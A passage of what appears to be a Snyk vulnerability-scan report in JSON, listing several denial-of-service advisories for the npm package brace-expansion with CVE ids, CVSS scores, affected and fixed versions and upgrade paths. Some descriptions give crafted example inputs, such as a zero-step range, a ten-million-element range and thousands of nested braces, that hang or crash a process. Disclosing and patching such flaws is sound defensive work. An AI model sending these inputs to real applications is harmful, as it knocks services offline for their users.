8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": 